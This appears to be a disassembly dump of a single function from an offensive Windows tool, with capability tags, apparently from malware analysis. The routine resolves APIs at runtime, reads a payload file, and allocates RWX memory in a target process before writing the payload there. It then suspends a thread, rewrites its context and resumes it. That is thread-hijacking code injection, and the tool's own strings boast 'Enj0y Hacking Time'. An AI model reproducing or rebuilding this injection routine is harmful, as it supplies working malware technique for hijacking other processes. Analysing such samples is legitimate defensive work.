Function at 0x1400025e0
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x540
mov rax, qword [0x140045040]
xor rax, rsp
mov qword [rsp + 0x530], rax
mov r15d, ecx
mov rbx, rdx
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x14003e680]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r14d, r14d
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0xc0000000
mov rcx, rbx
mov dword [rsp + 0x20], 3
call rax
lea rcx, str.Kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.GetFileSize
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov rcx, rdi
call rax
mov ecx, eax
mov ebx, eax
call fcn.14001b4dc
lea rcx, str.Kernel32.dll
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x14003e660]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov r8d, ebx
mov rdx, rsi
mov rcx, rdi
call rax
lea rcx, str.Kernel32.dll
mov dword [rsp + 0x90], 0x10000b
mov dword [rsp + 0x40], 0x1c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.OpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, r15d
xor edx, edx
mov ecx, 0x1fffff
call rax
lea rcx, str.Kernel32.dll
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.VirtualAllocEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
lea r8d, [r14 + 8]
mov rcx, r12
call rax
lea rcx, str.KernelBase.dll
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.WriteProcessMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, ebx
mov qword [rsp + 0x20], r14
mov r8, rsi
mov rdx, r13
mov rcx, r12
call rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateToolhelp32Snapshot
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
lea ecx, [rdx + 4]
call rax
lea rdx, [rsp + 0x40]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
je 0x1400027f1
cmp dword [rsp + 0x4c], r15d
je 0x1400027c1
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1400027a6
jmp 0x1400027f1
mov ebx, dword [rsp + 0x48]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.OpenThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call rax
mov r14, rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.SuspendThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r14
call rax
lea rdx, str._t___Suspend_Target_Thread_Successfully_:_
lea rcx, [0x140046460]
call fcn.140005350
mov rcx, rax
call fcn.140005600
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.GetThreadContext
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x60]
mov rcx, r14
call rax
lea rcx, [0x140046460]
test eax, eax
jne 0x14000286c
lea rdx, str._t___Get_Target_Thread_Context_Failed_:_
jmp 0x140002935
lea rdx, str._t___Get_Target_Thread_Successfully_:_
call fcn.140005350
mov rcx, rax
call fcn.140005600
lea rcx, str.Kernel32.dll
mov qword [rsp + 0x158], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.SetThreadContext
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x60]
mov rcx, r14
call rax
lea rcx, [0x140046460]
test eax, eax
jne 0x1400028c8
lea rdx, str._t___Set_Target_Thread_Context_Failed_:_
call fcn.140005350
jmp 0x140002942
lea rdx, str._t___Set_Target_Thread_Context_Successfully_:_
call fcn.140005350
mov rcx, rax
call fcn.140005600
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.ResumeThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r14
call rax
cmp eax, 0xffffffff
lea rcx, str._t___Resume_Target_Thread_Successfully_:_
lea rdx, str._t____Resume_Target_Thread_Failed_:_
cmovne rdx, rcx
lea rcx, [0x140046460]
call fcn.140005350
mov rcx, rax
call fcn.140005600
lea rdx, str._t___Remote_Thread_HiJaking_Successfully___Enj0y_Hacking_Time_:_
lea rcx, [0x140046460]
call fcn.140005350
mov rcx, rax
call fcn.140005600
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.14000d890
mov rbx, qword [rsp + 0x590]
add rsp, 0x540
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret